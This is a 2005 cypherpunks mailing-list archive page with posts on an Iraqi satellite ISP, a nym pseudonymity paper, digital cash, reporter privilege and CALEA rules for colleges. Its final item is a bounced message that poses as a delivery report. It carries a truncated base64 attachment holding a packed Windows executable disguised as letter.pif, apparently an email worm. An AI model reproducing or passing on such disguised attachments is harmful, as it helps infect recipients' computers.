Blood, Bullets, Bombs and Bandwidth
--- begin forwarded text Date: Sat, 22 Oct 2005 01:50:38 -0400 To: Philodox Clips List [EMAIL PROTECTED] From: R.A. Hettinga [EMAIL PROTECTED] Subject: Blood, Bullets, Bombs and Bandwidth The long version of the Wired Story on Ryan Lackey, including lots more about Tyler Wagner, who I've been reading about almost since he got there after the liberation :-) in 2003... Just bumped into the bit below, having abandoned Tyler and Jayme's LJs after they split, and finding the link after they went back recently. Meanwhile, the author bought the wrong vowel, apparently. ;-). Cheers, RAH -- http://www.rezendi.com/travels/.html Blood, Bullets, Bombs, and Bandwidth: a tale of two California cipherpunks who went to Baghdad to seek their fortune, and bring the Internet to Iraq. Ryan Lackey wears body armor to business meetings. He flies armed helicopters to client sites. He has a cash flow problem: he is paid in hundred-dollar bills, sometimes shrink-wrapped bricks of them, and flowing this money into a bank is difficult. He even calls some of his company's transactions drug deals - but what Lackey sells is Internet access. From his trailer on Logistics Staging Area Anaconda, a colossal US Army base fifty miles north of Baghdad, Lackey runs Blue Iraq, surely the most surreal ISP on the planet. He is 26 years old. Getting to Anaconda is no joke. Incoming airplanes make a 'tactical descent' landing, better known to military cognoscenti as the 'death spiral'; a nose-down plummet, followed by a viciously tight 360-degree turn, then another stomach-wrenching dive. The plane is dragged back to level only just in time to land, and brakes so hard that anything not strapped down goes flying forward. Welcome to Mortaritaville - the airbase's mordant nickname, thanks to the insurgent mortars that hit the base daily. From above, the base looks like a child's sandbox full of thousands of military toys. Dozens of helicopters litter the runways: Apaches, Blackhawks, Chinooks. F-16 fighters and C-17 cargo planes perch in huge igloo-like hangars built by Saddam. The roads are full of Humvees and armored personnel carriers. Rows of gunboats rest inexplicably on arid desert. A specific Act of Congress is required to build a permanent building on any US military base, so Anaconda is full of tents the size of football fields, temporary only in name, that look like giant caterpillars. Its 25,000 inhabitants, soldiers and civilian contractors like Ryan, are housed in tent cities and huge fields of trailers. Ryan came to Iraq in July 2004 to work for ServiceSat International, hired sight unseen by their CTO Tyler Wagner. Three months later, Ryan quit and founded Blue Iraq. He left few friends behind. I think if Ryan had stayed, Tyler says drily, the staff would have sold him to the insurgents. - - - Iraq is new to the Internet. Thanks to sanctions and Saddam, ordinary citizens had no access until 1999. Prewar, there were a mere 1.1 million telephone lines in this nation of 26 million people, and fewer than 75 Net cafés, connecting via a censored satellite connection. Then the American invasion knocked nearly half of Baghdad's landlines out of service, and the local exchanges that survived could not connect to one another. After the invasion, an army of contractors flooded into Baghdad. Billions of reconstruction dollars were being handed out in cash, and everybody - local Internet cafés, Halliburton, Ahmed Chalabi, the US military itself - wanted Internet access. With the landline service destroyed by war, and sabotage a continuing problem, satellite access was the only realistic option. Among the companies vying to provide this access in early 2003, scant months after the invasion, was ServiceSat International. SSI, a startup founded by Kurdish expats, needed an American CTO: partly to import America's culture of technical excellence, partly to help deal with Western clients and authorities. They called Tyler Wagner. He was 25 years old. - - - San Francisco, aka Baghdad-by-the-Bay, July 2003. Tyler Wagner is a typical counterculture California techie: a Cal Poly CS graduate, part of the California punk scene, working for Greenpeace as a network engineer. Then an old friend in London recommends him to SSI. They call him. They need a capable Westerner willing to move to Iraq. Is he interested? When he hangs up the phone, Tyler is shaking with excitement. The risks of relocating to a war zone are obvious. But it is a lucrative senior management position, offered to a man only two years out of university. Life doesn't often offer you a hand up like that, he reminisces two years later, and when it does, you can't afford to turn it down. One big complication: Tyler's girlfriend, Jayme. They have been dating only six months. He doesn't want to lose her. He calls and tells her the news - and they both ask at the same time if she can come with
Re: cypherpunks@minder.net closing on 11/1
On 10/13/05, Brian Minder [EMAIL PROTECTED] wrote: The minder.net CDR node will be shutting down on November 1, 2005. This includes the cypherpunks-moderated list. Please adjust your subscriptions accordingly. Gmail would facilitate automating a new cypherpunks-moderated list. Gmail's spam filtering is great and even a regular cypherpunks subscription has almost no spam. Sign up a gmail account and subscribe it only to cypherpunks. Use the POP interface to fetch message from gmail, and redistribute those to the new cypherpunks-moderated list. Subscribers gain the anti spam features of cp-moderated without any manual filtering or moderating necessary. CP
[EMAIL PROTECTED]: nym paper preprint]
- Forwarded message from Jason Holt [EMAIL PROTECTED] - From: Jason Holt [EMAIL PROTECTED] Date: Sat, 22 Oct 2005 10:20:40 + (UTC) To: [EMAIL PROTECTED] Subject: nym paper preprint Reply-To: [EMAIL PROTECTED] I've finished a first draft of an academic paper on nym: http://www.lunkwill.org/cv/nym.pdf Abstract: nym is a straightforward application of blind signatures to create a pseudonymity system with extremely low barriers to adoption. Clients use an entirely browser-based application to pseudonymously obtain a blinded token which can be anonymously exchanged for an ordinary TLS client certificate. In the appendix, we give the complete Javascript application and the necessary patch to use client certificates in place of IP addresses in the popular web application MediaWiki. -J - End forwarded message - -- Eugen* Leitl a href=http://leitl.org;leitl/a __ ICBM: 48.07100, 11.36820http://www.leitl.org 8B29F6BE: 099D 78BA 2FD3 B014 B08A 7779 75B0 2443 8B29 F6BE signature.asc Description: Digital signature
Re: [fc-discuss] Financial Cryptography Update: On Digital Cash-like Payment Systems
R. Hirschfeld wrote: Date: Thu, 20 Oct 2005 11:31:39 -0700 From: cyphrpunk [EMAIL PROTECTED] 2. Cash payments are final. After the fact, the paying party has no means to reverse the payment. We call this property of cash transactions _irreversibility_. Certainly Chaum ecash has this property. Because deposits are unlinkable to withdrawals, there is no way even in principle to reverse a transaction. This is not strictly correct. The payer can reveal the blinding factor, making the payment traceable. I believe Chaum deliberately chose for one-way untraceability (untraceable by the payee but not by the payer) in order to address concerns such as blackmailing, extortion, etc. The protocol can be modified to make it fully untraceable, but that's not how it is designed. Huh - first I've heard of that, would be encouraging if that worked. How does it handle an intermediary fall guy? Say Bad Guy Bob extorts Alice, and organises the payoff to Freddy Fall Guy. This would mean that Alice can strip her blinding factors and reveal that she paid to Freddy, but as Freddy is not to be found, he can't be encouraged to reveal his blinding factors so as to reveal that Bob bolted with the dosh. iang
MediaSentiment Newsletter: Vol. No. 1, Issue No. 10, October 11, 2005
Re: Judy Miller needing killing
The question is, can she defy a subpoena based on membership in the privileged Reporter class that an ordinary person could not defy? It seems like the real question is how membership in the class is determined. If anyone who's acting like a reporter in a certain context (say, Adam Shostack interviewing me for his blog) qualifies, then I don't see the constitutional problem, though it may still be good or bad policy. If you've got to get a special card from the government that says you're a journalist, it seems like that's more of a problem. I guess other places where there's some right not to answer these questions exist, but they're mostly based on licensed professions. I gather your lawyer or priest has much more ability to refuse to talk than your doctor or accountant, and that your psychologist has a shockingly small ability to refuse to talk. Other than priest, though, all these fields are at least somewhat licensed by the state for other reasons, so that makes it easy to use possession of a license as a way to tell when someone really is a doctor, lawyer, psychologist, etc. For constitutional reasons, that's not really true for journalists. GH --John
[EMAIL PROTECTED]: [IP] CALEA and Colleges]
- Forwarded message from David Farber [EMAIL PROTECTED] - From: David Farber [EMAIL PROTECTED] Date: Sat, 22 Oct 2005 16:35:00 -0400 To: Ip Ip ip@v2.listbox.com Subject: [IP] CALEA and Colleges X-Mailer: Apple Mail (2.734) Reply-To: [EMAIL PROTECTED] Begin forwarded message: From: Bruce Schneier [EMAIL PROTECTED] Date: October 22, 2005 2:40:49 PM EDT To: [EMAIL PROTECTED] Subject: [EPIC_IDOF] CALEA and Colleges New York Times October 23, 2005 Colleges Protest Call to Upgrade Online Systems http://www.nytimes.com/2005/10/23/technology/23college.html? hpex=113004en=82e2a961640ae05bei=5094 By SAM DILLON and STEPHEN LABATON The federal government, vastly extending the reach of an 11-year-old law, is requiring hundreds of universities, online communications companies and cities to overhaul their Internet computer networks to make it easier for law enforcement authorities to monitor e-mail and other online communications. The action, which the government says is intended to help catch terrorists and other criminals, has unleashed protests and the threat of lawsuits from universities, which argue that it will cost them at least $7 billion while doing little to apprehend lawbreakers. Because the government would have to win court orders before undertaking surveillance, the universities are not raising civil liberties issues. The order, issued by the Federal Communications Commission in August and first published in the Federal Register last week, extends the provisions of a 1994 wiretap law not only to universities, but also to libraries, airports providing wireless service and commercial Internet access providers. It also applies to municipalities that provide Internet access to residents, be they rural towns or cities like Philadelphia and San Francisco, which have plans to build their own Net access networks. So far, however, universities have been most vocal in their opposition. The 1994 law, the Communications Assistance for Law Enforcement Act, requires telephone carriers to engineer their switching systems at their own cost so that federal agents can obtain easy surveillance access. Recognizing the growth of Internet-based telephone and other communications, the order requires that organizations like universities providing Internet access also comply with the law by spring 2007. The Justice Department requested the order last year, saying that new technologies like telephone service over the Internet were endangering law enforcement's ability to conduct wiretaps in their fight against criminals, terrorists and spies. Justice Department officials, who declined to comment for this article, said in their written comments filed with the Federal Communications Commission that the new requirements were necessary to keep the 1994 law viable in the face of the monumental shift of the telecommunications industry and to enable law enforcement to accomplish its mission in the face of rapidly advancing technology. The F.C.C. says it is considering whether to exempt educational institutions from some of the law's provisions, but it has not granted an extension for compliance. Lawyers for the American Council on Education, the nation's largest association of universities and colleges, are preparing to appeal the order before the United States Court of Appeals for the District of Columbia Circuit, Terry W. Hartle, a senior vice president of the council, said Friday. The Center for Democracy and Technology, a nonprofit civil liberties group, has enlisted plaintiffs for a separate legal challenge, focusing on objections to government control over how organizations, including hundreds of private technology companies, design Internet systems, James X. Dempsey, the center's executive director, said Friday. The universities do not question the government's right to use wiretaps to monitor terrorism or criminal suspects on college campuses, Mr. Hartle said, only the order's rapid timetable for compliance and extraordinary cost. Technology experts retained by the schools estimated that it could cost universities at least $7 billion just to buy the Internet switches and routers necessary for compliance. That figure does not include installation or the costs of hiring and training staff to oversee the sophisticated circuitry around the clock, as the law requires, the experts said. This is the mother of all unfunded mandates, Mr. Hartle said. Even the lowest estimates of compliance costs would, on average, increase annual tuition at most American universities by some $450, at a time when rising education costs are already a sore point with parents and members of Congress, Mr. Hartle said. At New York University, for instance, the order would require the installation of thousands of new devices in more than 100 buildings around Manhattan, be they small switches in a wiring closet or large
[EMAIL PROTECTED]: [IP] more on Colleges protest netwoprk upgrades to allow easier surveillance]
- Forwarded message from David Farber [EMAIL PROTECTED] - From: David Farber [EMAIL PROTECTED] Date: Sat, 22 Oct 2005 16:36:43 -0400 To: Ip Ip ip@v2.listbox.com Subject: [IP] more on Colleges protest netwoprk upgrades to allow easier surveillance X-Mailer: Apple Mail (2.734) Reply-To: [EMAIL PROTECTED] Begin forwarded message: From: finin [EMAIL PROTECTED] Date: October 22, 2005 3:22:57 PM EDT To: Dave Farber [EMAIL PROTECTED] Subject: Colleges protest netwoprk upgrades to allow easier surveillance According to this story, the only complaint from colleges is the cost. In addition to ultimate concerns about privacy, are there also technical issues that might come up, like adding to latency or congestion? Many universities are engaged in building and testing innovative high speed computation and communication applications and testbeds that span the Internet. Would a required re-architecting of campus networks cause problems for this kind of research? I'm not expert enough in these areas to have a well informed opinion. Tim -- Colleges Protest Call to Upgrade Online Systems By Sam Dillon and Stephen Labaton, NYT, October 23, 2005 http://www.nytimes.com/2005/10/23/technology/23college.html? pagewanted=all The federal government, vastly extending the reach of an 11-year-old law, is requiring hundreds of universities, online communications companies and cities to overhaul their Internet computer networks to make it easier for law enforcement authorities to monitor e-mail and other online communications. The action, which the government says is intended to help catch terrorists and other criminals, has unleashed protests and the threat of lawsuits from universities, which argue that it will cost them at least $7 billion while doing little to apprehend lawbreakers. Because the government would have to win court orders before undertaking surveillance, the universities are not raising civil liberties issues. The order, issued by the Federal Communications Commission in August and first published in the Federal Register last week, extends the provisions of a 1994 wiretap law not only to universities, but also to libraries, airports providing wireless service and commercial Internet access providers. It also applies to municipalities that provide Internet access to residents, be they rural towns or cities like Philadelphia and San Francisco, which have plans to build their own Net access networks. So far, however, universities have been most vocal in their opposition. ... The universities do not question the government's right to use wiretaps to monitor terrorism or criminal suspects on college campuses, Mr. Hartle said, only the order's rapid timetable for compliance and extraordinary cost. ... But the federal law would apply a high-tech approach, enabling law enforcement to monitor communications at campuses from remote locations at the turn of a switch. It would require universities to re-engineer their networks so that every Net access point would send all communications not directly onto the Internet, but first to a network operations center where the data packets could be stitched together into a single package for delivery to law enforcement, university officials said. ... Law enforcement has only infrequently requested to monitor Internet communications anywhere, much less on university campuses or libraries, according to the Center for Democracy and Technology. In 2003, only 12 of the 1,442 state and federal wiretap orders were issued for computer communications, and the F.B.I. never argued that it had difficulty executing any of those 12 wiretaps, the center said. We keep asking the F.B.I., What is the problem you're trying to solve? Mr. Dempsey said. And they have never showed any problem with any university or any for-profit Internet access provider. The F.B.I. must demonstrate precisely why it wants to impose such an enormously disruptive and expensive burden. ... -- Tim Finin, Computer Science Electrical Engineering, Univ of Maryland Baltimore County, 1000 Hilltop Cir, Baltimore MD 21250. [EMAIL PROTECTED] http://ebiquity.umbc.edu 410-455-3522 fax:-3969 http://umbc.edu/~finin - You are subscribed as [EMAIL PROTECTED] To manage your subscription, go to http://v2.listbox.com/member/?listname=ip Archives at: http://www.interesting-people.org/archives/interesting-people/ - End forwarded message - -- Eugen* Leitl a href=http://leitl.org;leitl/a __ ICBM: 48.07100, 11.36820http://www.leitl.org 8B29F6BE: 099D 78BA 2FD3 B014 B08A 7779 75B0 2443 8B29 F6BE signature.asc Description: Digital signature
Undeliverable Mail
Unknown user: [EMAIL PROTECTED] RCPT TO generated following response: 550 [EMAIL PROTECTED]: Recipient address rejected: User unknown in virtual alias table Original message follows. Received: from minder.net [64.146.171.4] by mail.gcpower.net with ESMTP (SMTPD-8.20) id ACC60244; Sat, 22 Oct 2005 13:10:46 -0700 From: cypherpunks@minder.net To: [EMAIL PROTECTED] Subject: Delivery reports about your e-mail Date: Sat, 22 Oct 2005 13:14:08 -0700 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary==_NextPart_000_0006_F9FFE6CC.232B097B X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600. X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600. Message-Id: [EMAIL PROTECTED] This is a multi-part message in MIME format. --=_NextPart_000_0006_F9FFE6CC.232B097B Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit The original message was received at Sat, 22 Oct 2005 13:14:08 -0700 from 150.89.127.118 - The following addresses had permanent fatal errors - [EMAIL PROTECTED] - Transcript of session follows - ... while talking to host mozilla.org.: RCPT To:[EMAIL PROTECTED] 550 5.1.1 [EMAIL PROTECTED]... Not known here --=_NextPart_000_0006_F9FFE6CC.232B097B Content-Type: application/octet-stream; name=letter.zip Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=letter.zip UEsDBAoAAMShVjPWeQeLoHAAAKBwAAAKbGV0dGVyLnBpZk1akAADBP//AAC4 AEAAANgOH7oOALQJzSG4 AUzNIVRoaXMgcHJvZ3JhbSBjYW5ub 3QgYmUgcnVuIGluIERPUyBtb2RlLg0NCiQA AAA AAA AA AFBFAABMAQMA4AAPAQsBBwAA YBAAA ACA7QAAAJDwAFAAABACAAAEAAQBAAAQ AgAAEAAAEAAQAAAQEAAAFPUAADAB8AAAFAUA AA AAVVBYMAAA [message truncated]
